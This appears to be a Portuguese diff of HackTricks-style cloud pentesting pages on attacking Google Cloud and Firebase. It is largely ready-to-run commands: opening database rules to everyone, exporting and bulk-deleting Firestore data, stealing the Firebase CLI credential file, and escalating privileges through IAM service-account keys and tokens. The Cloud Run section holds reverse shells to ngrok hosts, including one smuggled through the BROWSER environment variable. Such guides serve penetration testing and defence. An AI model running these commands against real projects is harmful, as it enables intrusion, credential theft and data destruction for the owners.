curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
O comando anterior retorna um nome de ruleset no formato projects/<project-id>/rulesets/<ruleset-id>. Para implantar a nova versão, a release deve ser atualizada usando uma requisição PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Para modificar as regras do Firebase Cloud Storage:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
O comando anterior retorna um nome de ruleset no formato projects/<project-id>/rulesets/<ruleset-id>. Para implantar a nova versão, o release deve ser atualizado usando uma requisição PATCH:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Exfiltração e manipulação de dados no Cloud Firestore
Cloud Firestore utiliza a mesma infraestrutura e o mesmo sistema de permissões do Cloud Datastore, então as permissões do Datastore IAM se aplicam diretamente ao Firestore. Para manipular políticas de TTL, é necessária a permissão `datastore.indexes.update`. Para exportar dados, é necessária a permissão `datastore.databases.export`. Para importar dados, é necessária a permissão `datastore.databases.import`. Para realizar exclusão em massa de dados, é necessária a permissão `datastore.databases.bulkDelete`.
Para operações de backup e restauração, são necessárias permissões específicas:
- `datastore.backups.get` e `datastore.backups.list` para listar e obter detalhes dos backups disponíveis
- `datastore.backups.delete` para excluir backups
- `datastore.backups.restoreDatabase` para restaurar um banco de dados a partir de um backup
- `datastore.backupSchedules.create` e `datastore.backupSchedules.delete` para gerenciar cronogramas de backup
Quando uma política de TTL é criada, uma propriedade designada é selecionada para identificar entidades elegíveis para exclusão. Essa propriedade de TTL deve ser do tipo Date and time. O atacante pode escolher uma propriedade que já exista ou designar uma propriedade que pretende adicionar mais tarde. Se o valor do campo for uma data no passado, o documento torna-se elegível para exclusão imediata. O atacante pode usar o gcloud CLI para manipular políticas de TTL.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Para exportar dados e exfiltrá-los, o atacante poderia usar o gcloud CLI.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
Para importar dados maliciosos:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Para realizar a remoção massiva de dados e causar um denial of service, o attacker poderia usar o gcloud Firestore bulk-delete tool para remover coleções inteiras.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
Para operações de backup e restauração, o atacante poderia criar backups agendados para capturar o estado atual do banco de dados, listar backups existentes, restaurar a partir de um backup para sobrescrever alterações recentes, excluir backups para causar perda permanente de dados e remover backups agendados.
Para criar um agendamento de backup diário que gere imediatamente um backup:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
Para restaurar a partir de um backup específico, the attacker poderia criar um novo banco de dados usando os dados contidos nesse backup. A operação de restauração grava os dados do backup em um novo banco de dados, o que significa que um DATABASE_ID existente não pode ser usado.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
Para excluir um backup e causar perda permanente de dados:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Roubo e uso indevido das credenciais do Firebase CLI
Um atacante não precisa de permissões específicas do Firebase para realizar este ataque, mas precisa de acesso ao sistema local do desenvolvedor ou ao arquivo de credenciais do Firebase CLI. Essas credenciais estão armazenadas em um arquivo JSON localizado em:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
Esse arquivo contém tokens de autenticação, incluindo refresh_token e access_token, que permitem ao atacante autenticar-se como o usuário que executou originalmente firebase login.
O atacante obtém acesso ao arquivo de credenciais do Firebase CLI. Em seguida, pode copiar o arquivo inteiro para seu próprio sistema, e o Firebase CLI usará automaticamente as credenciais a partir de sua localização padrão. Depois disso, o atacante poderá ver todos os projetos Firebase acessíveis a esse usuário.
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## IAM
Encontre mais informações sobre IAM em:
Mais informações sobre IAM em:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,54 +12,51 @@ Encontre mais informações sobre IAM em:
### `iam.roles.update` (`iam.roles.get`)
Um atacante com as permissões mencionadas poderá atualizar um role atribuído a você e conceder permissões extras para outros recursos como:
<details><summary>Atualizar role do IAM para adicionar permissões</summary>
Um atacante com as permissões mencionadas poderá atualizar uma role atribuída a você e conceder permissões adicionais em outros recursos, como:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
</details>
Você pode encontrar um script para automatizar a **criação, exploit e limpeza de um vuln environment aqui** e um script em python para abusar dessa permissão [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para mais informações, consulte a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a **criação, exploit e limpeza de um ambiente vuln aqui** e um script python para abusar desse privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para mais informações, confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
A permissão iam.roles.create permite a criação de funções personalizadas em um projeto/organização. Nas mãos de um atacante, isso é perigoso porque lhe possibilita definir novos conjuntos de permissões que podem ser posteriormente atribuídos a entidades (por exemplo, usando a permissão iam.serviceAccounts.setIamPolicy) com o objetivo de elevar privilégios.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Um atacante com as permissões mencionadas poderá **solicitar um access token que pertença a um Service Account**, portanto é possível solicitar um access token de um Service Account com mais privilégios do que o nosso.
<details><summary>Impersonate service account to get access token</summary>
Um atacante com as permissões mencionadas poderá **solicitar um access token que pertença a uma Service Account**, portanto é possível solicitar um access token de uma Service Account com mais privilégios do que a nossa.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
</details>
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e um python script para abusar desse privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para mais informações, consulte a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e um script em python para abusar desse privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para mais informações, consulte a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
Um atacante com as permissões mencionadas poderá **create a user-managed key for a Service Account**, o que nos permitirá acessar GCP como esse Service Account.
<details><summary>Create service account key and authenticate</summary>
Um atacante com as permissões mencionadas poderá **create a user-managed key for a Service Account**, o que nos permitirá acessar o GCP como essa Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) e um script em python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Para mais informações, verifique a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Observe que **`iam.serviceAccountKeys.update` won't work to modify the key** de uma SA porque para isso a permissão `iam.serviceAccountKeys.create` também é necessária.
Observe que **`iam.serviceAccountKeys.update` não funcionará para modificar a chave** de uma SA porque, para isso, a permissão `iam.serviceAccountKeys.create` também é necessária.
### `iam.serviceAccounts.implicitDelegation`
Se você tiver a permissão **`iam.serviceAccounts.implicitDelegation`** em um Service Account que possui a permissão **`iam.serviceAccounts.getAccessToken`** sobre um terceiro Service Account, então você pode usar implicitDelegation para **criar um token para esse terceiro Service Account**. Aqui está um diagrama para ajudar a explicar.
Se você tiver a permissão **`iam.serviceAccounts.implicitDelegation`** em uma Service Account que possui a permissão **`iam.serviceAccounts.getAccessToken`** em uma terceira Service Account, então você pode usar implicitDelegation para **criar um token para essa terceira Service Account**. Aqui está um diagrama para ajudar a explicar.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Observe que, de acordo com a [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), a delegação do `gcloud` funciona apenas para gerar um token usando o método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Então aqui está como obter um token usando a API diretamente:
<details><summary>Gerar token de acesso com delegação usando a API</summary>
Observe que segundo a [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), a delegação do `gcloud` funciona apenas para gerar um token usando o método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Então aqui está como obter um token usando a API diretamente:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
</details>
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para mais informações confira a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e um script python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Um atacante com as permissões mencionadas poderá **assinar payloads arbitrários no GCP**. Assim será possível **criar um JWT não assinado do SA e então enviá-lo como um blob para que o JWT seja assinado** pelo SA que estamos visando. Para mais informações [**leia isto**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Um atacante com as permissões mencionadas poderá **assinar payloads arbitrários in GCP**. Assim será possível **criar um JWT não assinado da SA e então enviá-lo como um blob para que o JWT seja assinado** pela SA que estamos alvejando. Para mais informações [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para mais informações confira a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e um script python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Um atacante com as permissões mencionadas poderá **assinar JSON Web Tokens (JWTs) bem-formados**. A diferença em relação ao método anterior é que **em vez de fazer o google assinar um blob contendo um JWT, usamos o método signJWT que já espera um JWT**. Isso torna o uso mais fácil, mas você só pode assinar JWT em vez de quaisquer bytes.
Um atacante com as permissões mencionadas poderá **assinar JSON Web Tokens (JWTs) bem-formados**. A diferença em relação ao método anterior é que **em vez de fazer google assinar um blob contendo um JWT, usamos o método signJWT que já espera um JWT**. Isso o torna mais fácil de usar, mas você só pode assinar JWTs em vez de quaisquer bytes.
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para mais informações confira a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e um script python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Um atacante com as permissões mencionadas poderá **adicionar políticas IAM a contas de serviço**. Você pode abusar disso para **conceder a si mesmo** as permissões necessárias para impersonar a conta de serviço. No exemplo a seguir estamos concedendo a nós mesmos o papel `roles/iam.serviceAccountTokenCreator` sobre a SA interessante:
<details><summary>Adicionar binding de política IAM à conta de serviço</summary>
Um atacante com as permissões mencionadas poderá **adicionar políticas IAM a contas de serviço**. Você pode abusar disso para **conceder a si mesmo** as permissões necessárias para se fazer passar pela conta de serviço. No exemplo a seguir estamos nos concedendo o papel `roles/iam.serviceAccountTokenCreator` sobre a SA de interesse:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -101,47 +94,37 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
</details>
Você pode encontrar um script para automatizar o [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
A **iam.serviceAccounts.actAs permission** é como a **iam:PassRole permission from AWS**. É essencial para executar tarefas, como iniciar uma instância do Compute Engine, pois concede a capacidade de "actAs" um Service Account, garantindo um gerenciamento de permissões seguro. Sem isso, usuários podem obter acesso indevido. Além disso, explorar a **iam.serviceAccounts.actAs** envolve vários métodos, cada um exigindo um conjunto de permissões, em contraste com outros métodos que necessitam de apenas uma.
A **iam.serviceAccounts.actAs permission** é semelhante à **iam:PassRole permission from AWS**. É essencial para executar tarefas, como iniciar uma instância do Compute Engine, pois concede a habilidade de "actAs" uma Service Account, garantindo um gerenciamento de permissões seguro. Sem isso, usuários podem obter acessos indevidos. Além disso, explorar a **iam.serviceAccounts.actAs** envolve vários métodos, cada um exigindo um conjunto de permissões, em contraste com outros métodos que necessitam de apenas uma.
#### Impersonação de Service Account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### Impersonação de conta de serviço <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Impersonar um service account pode ser muito útil para **obter privilégios novos e melhores**. Existem três maneiras pelas quais você pode [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
Impersonar uma service account pode ser muito útil para **obter privilégios novos e melhores**. três maneiras pelas quais você pode [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Autenticação **using RSA private keys** (coberto acima)
- Autorização **using Cloud IAM policies** (abordado aqui)
- Autenticação **using RSA private keys** (covered above)
- Autorização **using Cloud IAM policies** (covered here)
- **Deploying jobs on GCP services** (mais aplicável ao comprometimento de uma conta de usuário)
### `iam.serviceAccounts.getOpenIdToken`
Um atacante com as permissões mencionadas será capaz de gerar um OpenID JWT. Estes são usados para afirmar identidade e não carregam necessariamente qualquer autorização implícita contra um recurso.
Um atacante com as permissões mencionadas poderá gerar um OpenID JWT. Estes são usados para afirmar identidade e não carregam necessariamente qualquer autorização implícita sobre um recurso.
De acordo com este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), é necessário indicar o audience (serviço onde você quer usar o token para autenticar) e você receberá um JWT assinado pelo google indicando o service account e o audience do JWT.
De acordo com este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), é necessário indicar a audience (serviço onde você quer usar o token para autenticar) e você receberá um JWT assinado pelo google indicando a service account e a audience do JWT.
Você pode gerar um OpenIDToken (se tiver o acesso) com:
<details><summary>Generate OpenID token for service account</summary>
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
</details>
Então você pode simplesmente usá-lo para acessar o serviço com:
<details><summary>Use OpenID token para autenticar</summary>
Então você pode usá-lo para acessar o serviço com:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
Alguns serviços que suportam autenticação via esse tipo de token são:
- [Google Cloud Run](https://cloud.google.com/run/)

View File

@@ -10,28 +10,61 @@ Obtenha mais informações em:
../gcp-services/gcp-pub-sub.md
{{#endref}}
### `pubsub.snapshots.create`
Os snapshots de tópicos **contêm as mensagens atuais não reconhecidas e todas as mensagens após isso**. Você pode criar um snapshot de um tópico para **acessar todas as mensagens**, **evitando acessar o tópico diretamente**.
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
Os snapshots de topics **contêm as mensagens atuais unACKed e todas as mensagens posteriores**. Você pode criar um snapshot de um topic para **acessar todas as mensagens**, **evitando acessar o topic diretamente**.
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**
Atribua as permissões anteriores a você.
Atribui as permissões anteriores a você.
### `pubsub.subscriptions.create`
Você pode criar uma assinatura push em um tópico que enviará todas as mensagens recebidas para a URL indicada.
Você pode criar uma push subscription em um topic que enviará todas as mensagens recebidas para a URL indicada
### **`pubsub.subscriptions.update`**
Defina sua própria URL como ponto de extremidade push para roubar as mensagens.
Defina sua própria URL como push endpoint para interceptar as mensagens.
### `pubsub.subscriptions.consume`
Acesse mensagens usando a assinatura.
Acesse as mensagens usando a subscription.
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`
a si mesmo qualquer uma das permissões anteriores.
Conceda a si mesmo qualquer uma das permissões anteriores
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Run
Para mais informações sobre Cloud Run consulte:
Para mais informações sobre Cloud Run, consulte:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,18 +12,15 @@ Para mais informações sobre Cloud Run consulte:
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
Um atacante com essas permissões pode **criar um serviço do Cloud Run executando código arbitrário** (um container Docker arbitrário), associar uma Service Account a ele e fazer com que o código **exfiltrate o token da Service Account a partir dos metadados**.
Um atacante com essas permissões pode **create a run service running arbitrary code** (arbitrary Docker container), anexar uma Service Account a ele e fazer o código **exfiltrate the Service Account token from the metadata**.
Um script de exploit para este método pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e a imagem Docker pode ser encontrada [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Um script de exploit para este método pode ser encontrado [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e a Docker image pode ser encontrada [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Observe que ao usar `gcloud run deploy` em vez de apenas criar o serviço **é necessário a permissão `update`**. Veja um [**exemplo aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
Observe que ao usar `gcloud run deploy` em vez de apenas criar o serviço **é necessário a permissão `update`**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
Semelhante ao anterior, mas atualizando um serviço:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
Conceda a si mesmo permissões privilegiadas sobre Cloud Run.
a si mesmo permissões privilegiadas em cloud Run.
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Inicie um job com um reverse shell para roubar a conta de serviço indicada no comando. Você pode encontrar um [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>Criar job do Cloud Run com reverse shell</summary>
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Semelhante ao anterior, é possível **atualizar um job e alterar a SA**, o **comando** e **executá-lo**:
<details>
<summary>Atualizar job do Cloud Run e executar com reverse shell</summary>
Semelhante ao anterior, é possível **atualizar um job e trocar a SA**, inserir o **comando** e **executá-lo**:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
Conceda a si mesmo as permissões anteriores sobre Cloud Jobs.
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Abuse as env variables de uma execução de job para executar código arbitrário e obter um reverse shell para dump do conteúdo do container (source code) e acessar a SA dentro dos metadata:
<details>
<summary>Execute Cloud Run job with environment variable exploitation</summary>
Abuse as variáveis de ambiente de uma execução de job para executar código arbitrário e obter um reverse shell para despejar o conteúdo do container (source code) e acessar a SA dentro dos metadados:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## Referências
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View File

@@ -12,16 +12,16 @@ Para mais informações sobre secretmanager:
### `secretmanager.versions.access`
Isso lhe dá acesso para ler os segredos do secretmanager e pode ajudar a escalar privilégios (dependendo de quais informações estão armazenadas dentro do segredo):
Isso dá acesso para ler os secrets do secret manager e talvez isso possa ajudar a escalar privielegs (dependendo de quais informações estão armazenadas dentro do secret):
<details><summary>Obter versão do segredo em texto claro</summary>
<details><summary>Obter versão do secret em texto claro</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
Como isto também é uma técnica de pós-exploração, pode ser encontrada em:
Como isto é também uma técnica de post exploitation, pode ser encontrada em:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,14 +29,20 @@ Como isto também é uma técnica de pós-exploração, pode ser encontrada em:
### `secretmanager.secrets.setIamPolicy`
Isso lhe dá acesso para ler os segredos do secret manager, por exemplo usando:
Isso lhe dá acesso para ler os secrets do secret manager, por exemplo usando:
<details><summary>Adicionar vinculação de política IAM ao secret</summary>
<details><summary>Add IAM policy binding to secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
